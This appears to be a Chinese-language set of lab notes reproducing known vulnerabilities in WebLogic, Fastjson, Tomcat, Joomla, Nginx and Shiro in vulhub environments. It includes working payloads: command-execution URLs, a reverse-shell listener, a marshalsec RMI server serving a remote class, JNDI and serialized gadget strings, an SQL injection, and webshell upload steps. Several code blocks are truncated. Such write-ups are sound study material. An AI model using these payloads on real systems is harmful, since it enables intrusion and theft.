Weblogic
CVE-2017-10271
漏洞概述
Weblogic的WLS-Security
组件对外提供webservice服务,其中使用了XMLDecoder
来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可以执行任意命令。
涉及版本:
1 | 10.3.6.0,12.1.3.0.0,12.2.1.1.0 |
漏洞地址
1 | /wsl-wsat/.... //只要是wsl-wsat下的url都会有此漏洞。 |
漏洞复现
使用vulnhub下的环境进行复现。
访问http://ip:port/wls-wsat/CoordinatorPortType
下,如果存在以下页面就表示存在漏洞
反弹shell
1.nc监听本地端口
1 | nc -l -p 7089 |
2.通过burp,修改数据包,exp改为反弹shell命令
1 | POST /wls-wsat/CoordinatorPortType HTTP/1.1 |
成功得到反弹shell
CVE-2018-2894
漏洞概述
Weblogic中Web Service Test Page中存在一处任意文件上传漏洞,Web Services Test page 在”生产模式下”默认不开启,所以该漏洞有一定限制。
影响范围
1 | 10.3.6 |
漏洞复现
使用vulnhub下的环境进行复现。
首先需要访问后台进行设置。
在docker中获得账户和密码
之后依次点击base_domain
,高级
,启用web服务测试页
访问/ws_utc/config.do
设置当前工作目录为:
1 | /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css |
因为访问这个目录是无需权限的,点击安全-添加上传jsp木马
这里注意要看上传jsp的回放包获得时间轴。
接下来访问以下地址就可以访问木马
1 | http://192.168.137.133:7001/ws_utc/css/config/keystore/1649654875887_cmd.jsp |
进行webshell管理连接。
SSRF漏洞(CVE-2014-4210)
影响范围
1 | 10.0.2.0 |
漏洞复现
访问网站下的/uddiexplorer/,无需登录即可访问
存在SSRF漏洞的uri: /uddiexplorer/SearchPublicRegistries.jsp
在/uddiexplorer/SearchPublicRegistries.jsp
下抓包,并且添加字段:
?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=IP:PORT
ip与port处填写需要访问的ip与port。
访问不同的网址与端口会有不通的报错信息。
CVE-2020-14882
漏洞简介
CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883为任意用户通过http协议执行任意命令。使用这两个漏洞组成的利用率,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
影响版本
1 | 10.3.6.0.0 |
漏洞复现:
访问/console/css/%252e%252e%252fconsole.portal
,即可未授权进入后台
但是此时的用户权限很低,无法执行其他命令。
可以通过**com.tangosol.coherence.mvel2.sh.ShellSession**
shell类来进行任意命令执行。
使用如下poc
1 | http://192.168.137.133:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');") |
之后进入虚拟环境里可以查看到已经创建了新的文件。
弱口令&&getshell
https://www.cnblogs.com/null1433/p/12684170.html
Fastjson
fastjson是阿里巴巴的开源json解析库,它可以解析JSON格式的字符串,支持Java bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将javaBean序列化为JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。
Fastjson 1.2.24反序列化导致任意命令执行
漏洞概述
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。
漏洞复现
利用vulhub的环境。
测试是否有漏洞,使用burp拦截数据包
在数据包中增加以下字段:
1 | 请求头添加: |
接下来可以看到已经请求,确认漏洞的存在。
接下来我们需要依次安装maven
和marshalsec
两个文件。这里就进行了略过。
接下来创建java文件
1 | // javac TouchFile.java |
该java文件的用意是在tmp目录下创建success。
对此java文件进行编译
注意这里的编译环境需要需要jdk1.8,不然会在后面的环节中报错
生成Touchfile.class
在含有touchfile的目录下开启http服务。
1 | python -m http.server |
最后我们需要通过marshalsec
来开启一个rmi服务。
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.137.133:8000/#TouchFile" 9999 |
这个时候我们的攻击环境就已经就绪了。接下来只需要通过burp抓包执行我们布置的payload
1 | POST / HTTP/1.1 |
进入docker虚拟环境就可以看到我们的攻击已经成功。
1 | ──(root💀kali)-[~] |
Fastjson 1.2.47
漏洞描述
Fastjson 1.2.47也有同样的问题,但是差别在于payload不一样。
只需要修改payload里面的描述就好,比如:
1 | {"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true} |
Tomcat
CVE-2017-12615
漏洞描述
存在漏洞的Tomcat运行在Windows/Linux主机上, 且启用了HTTP PUT请求方法( 例如, 将readonly初始化参数由默认值设置为false) , 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限。
漏洞本质是Tomcat未使用默认配置(配置不当),将配置文件conf/web.xml中的readonly
值设为false
,导致可以使用PUT方法上传文件。当然Tomcat会校验上传文件后缀以拒绝.jsp文件的上传,但在不同平台有多种方式绕过检测。在Linux下可用/
,即可以PUT一个名为shell.jsp/的文件;在Windows下可用数据流标识,即shell.jsp::$DATA绕过。
影响版本:Apache Tomcat 7.00-7.0.79
漏洞复现
使用vulnhub启动tomcat漏洞环境
访问环境
将jsp文件写入到网站中,刷新页面并且抓包,使用bp进行抓包和修改数据
(请求方式改为put,之后可以填写内容)
接下来进行访问发现已经写入到网站内部。
同时也可以使用这种方式写入木马文件
测试木马文件成功
CVE-2020-1938
漏洞描述
2020年2月20日,国家信息安全漏洞共享平台(CNVD)发布了Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互。由于Tomcat本身也内含了HTTP服务器,因此也可以视作单独的Web服务器。
攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。目前,厂商已发布新版本完成漏洞修复。
受影响版本:
1 | Apache Tomcat 6 |
漏洞复现
使用vulnhub开启漏洞测试环境。
使用nmap扫描开启的机器,判断是否开启AJP
确认开启后,可以查看使用任意文件的poc。
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
需要python2环境运行。
接下来可以发现已经反映出web.xml内容。
Joomla
CVE-2015-8562
漏洞描述
本漏洞根源是PHP5.6.13前的版本在读取存储好的session时,如果反序列化出错则会跳过当前一段数据而去反序列化下一段数据。而Joomla将session存储在Mysql数据库中,编码是utf8,当我们插入4字节的utf8数据时则会导致截断。截断后的数据在反序列化时就会失败,最后触发反序列化漏洞。
通过Joomla中的Gadget,可造成任意代码执行的结果。
影响版本
1 | Joomla 1.5.x, 2.x, and 3.x before 3.4.6 |
漏洞复现
使用vulnhub拉取环境后,先创建网站
抓包访问的时候,首先不带UA头,访问目标主页,记下服务器访问的cookie:
接下来去在线生成poc
1 | <?php |
将生成好的序列化代码作为UA头
1 | 123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}𝌆 |
发送两次包接下来就可以看到代码执行了。
CVE-2017-8917
漏洞描述
漏洞简述:本漏洞出现在3.7.0新引入的一个组件“com_fields”,这个组件任何人都可以访问,无需登陆验证。由于对请求数据过滤不严导致sql注入,sql注入对导致数据库中的敏感信息泄漏。
影响版本: Joomla!3.7.0 Core
漏洞复现
跟上一个漏洞同样,使用vulnhub搭建环境后搭建网站。
接下来就可以使用payload进行报错注入了
1 | Joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x7e,concat(0x7e,user()),0x7e) |
Nginx
CVE-2013-4547
漏洞描述
该漏洞利用了Nginx错误的解析了URL地址,导致可以绕过服务端限制,从而解析PHP文件,造成命令执行的危害。
根据nginx.conf文件中location中的定义,以.php结尾的文件都解析为php。若我们访问的文件名为shell.gif[0x20][0x00]
.php,该文件名以.php结尾可以被FastCGI接收,FastCGI在读取文件名时被00截断,导致读取的文件名为*1.gif[0x20]*,配合limit_extensions为空即可利用成功。该漏洞利用条件有两个:
1 | Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7 |
Nginx版本范围较大,比较好匹配,但php-fpm.conf的security.limit_extensions配置默认为php,一般鲜有管理员允许所有类型都可以解析为PHP,所以该漏洞比较鸡肋,但这是在Linux的服务器中,而在Windows中便影响极大。
漏洞复现
使用vulnhub打开后,上传一个1.jpg的一句话木马。通过抓包的方式,在包的hex界面修改为20
,00
,即空格与00。
然后就可以通过访问以下地址192.168.137.133:8080/uploadfiles/2.jpg[0x20][0x00].php
这里建议直接用burp进行更改,浏览器好像改不了十六进制。
可以看到带着我们的参数var执行了命令。
CVE-2017-7529
漏洞描述
Nginx越界读取缓存漏洞产生的原因是Nginx读取http请求时,如果包含range,那么Nginx会根据range指定的数据范围读取文件数据内容,如果该range是负数,并且读到了缓存文件,那么会返回缓存文件中的“文件头”或“HTTP返回包头”,缓存文件头可能包含IP地址的后端服务器或其他敏感信息,从而导致信息泄露。
range是什么
存在于HTTP请求头中,表示请求目标资源的部分内容,例如请求一个图片的前半部分,单位是byte,原则上从0开始,但今天介绍的是可以设置为负数。
range的典型应用场景例如:断点续传、分批请求资源。
range在HTTP头中的表达方式:
1 | Range:bytes=0-1024 表示访问第0到第1024字节; |
range在HTTP Response表示:
1 | Accept-Ranges:bytes 表示接受部分资源的请求; |
缓存是什么
大多数的Web服务器都具有缓存的功能,解释起来比较麻烦,可以看下图:
当请求服务器的资源时,如果在缓存服务器中存在,则直接返回,不在访问应用服务器。可以降低应用服务器的负载。(特别是对网站首页的缓存,nginx的默认缓存路径在/tmp/nginx下)
漏洞复现
如果读取正常缓存文件,那么它的range设置为:
1 | range: bytes=0-612 |
使用curl工具测试下,命令发现返回的数据正常。
接下来可以读取缓存头,读取前面的600个字节。也就是
1 | range=content_length + 偏移长度 |
此时知道range的start是-1212,那么end呢?nginx的源码在声明start,end时用的是64位有符号整型,所以最大可表示:
1 | -2^63-2^63-1 |
所以只要start+end为9223372036854775807即可,故:
1 | end = 9223372036854775808 - 1212 |
使用curl访问网站
这里的-output 1.log
是为了让输出的内容到1.log下。打开可以发现已经访问到缓存内容。
nginx_parsing_vulnerability
漏洞描述
nginx.conf的如下配置导致nginx把以’**.php**’结尾的文件交给fastcgi处理,为此可以构造http://ip/uploadfiles/test.png/.php (url结尾不一定是‘.php’,任何服务器端不存在的php文件均可,比如’a.php’)。
该漏洞主要是一些配置错误的情况,与nginx、php版本无关。
常常出现为nginx解析任意文件为php而导致解析漏洞。
即使是上传一张正常的图片,你在后面加上/.php
也会被自动解析为php文件。
当访问http://127.0.0.1/test.jpg
时显示图片解析错误,当访问http://127.0.0.1/test.jpg/test.php
时结果显示Access denied,这个回显很奇怪,正常访问这个链接是不存在的,正常思维应该是404,这里就需要研究下Nginx的解析流程了:Nginx在收到/test.jpg/test.php路径时,首先判断文件类型,发现后缀是.php,便交给php处理,但php想要解析该文件时,发现并不存在,便删除掉/test.php,去找test.jpg,此时test.jpg是存在的,便要尝试解析它,但无奈后缀是.jpg,不是php,便报错Access denied。
上面的流程中提到了一个点,就是删除/test.php,这是Nginx的“修理”机制,由参数cgi.fix_pathinfo决定,当值为1时,便进行“修理”。例如,文件名为/aa.jpg/bb.png/cc.php,如果cc.php不存在就找/aa.jpg/bb.png,如果还不存在就找aa.jpg,如果存在将它视为php文件。
到目前为止我们并没有成功利用解析漏洞,因为php代码并没有执行。为什么呢?
因为在PHP的配置中没有定义降.jpg文件中的php代码也解析为php,这是在security.limit_extensions中定义的。由于security.limit_extensions的引入,漏洞难以利用。
Nginx目录穿越漏洞
漏洞描述
Nginx的目录穿越漏洞严格定义的话,并非是漏洞,而是Nginx的特性,由于运维人员或者开发人员配置错误而导致的漏洞。
该问题出现在Nginx的虚拟目录配置上,也就是Alias。Alias正如其名,alias指定的路径是location的别名,不管location的值怎么写,资源的真实路径都是Alias指定的路径,例如:
1 | location /margin { |
配置以上内容后如果访问http://xxx/margin/logo.png,其实真的资源是定位到/home/www/margin/logo.png下。
但此时是有问题的,如果location后的路径后面不加/,便会出现目录穿越的漏洞,对应关系如下:
1 | 请求 |
最终就会导致目录穿越。
Shiro
cve-2016-4437
漏洞描述
Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。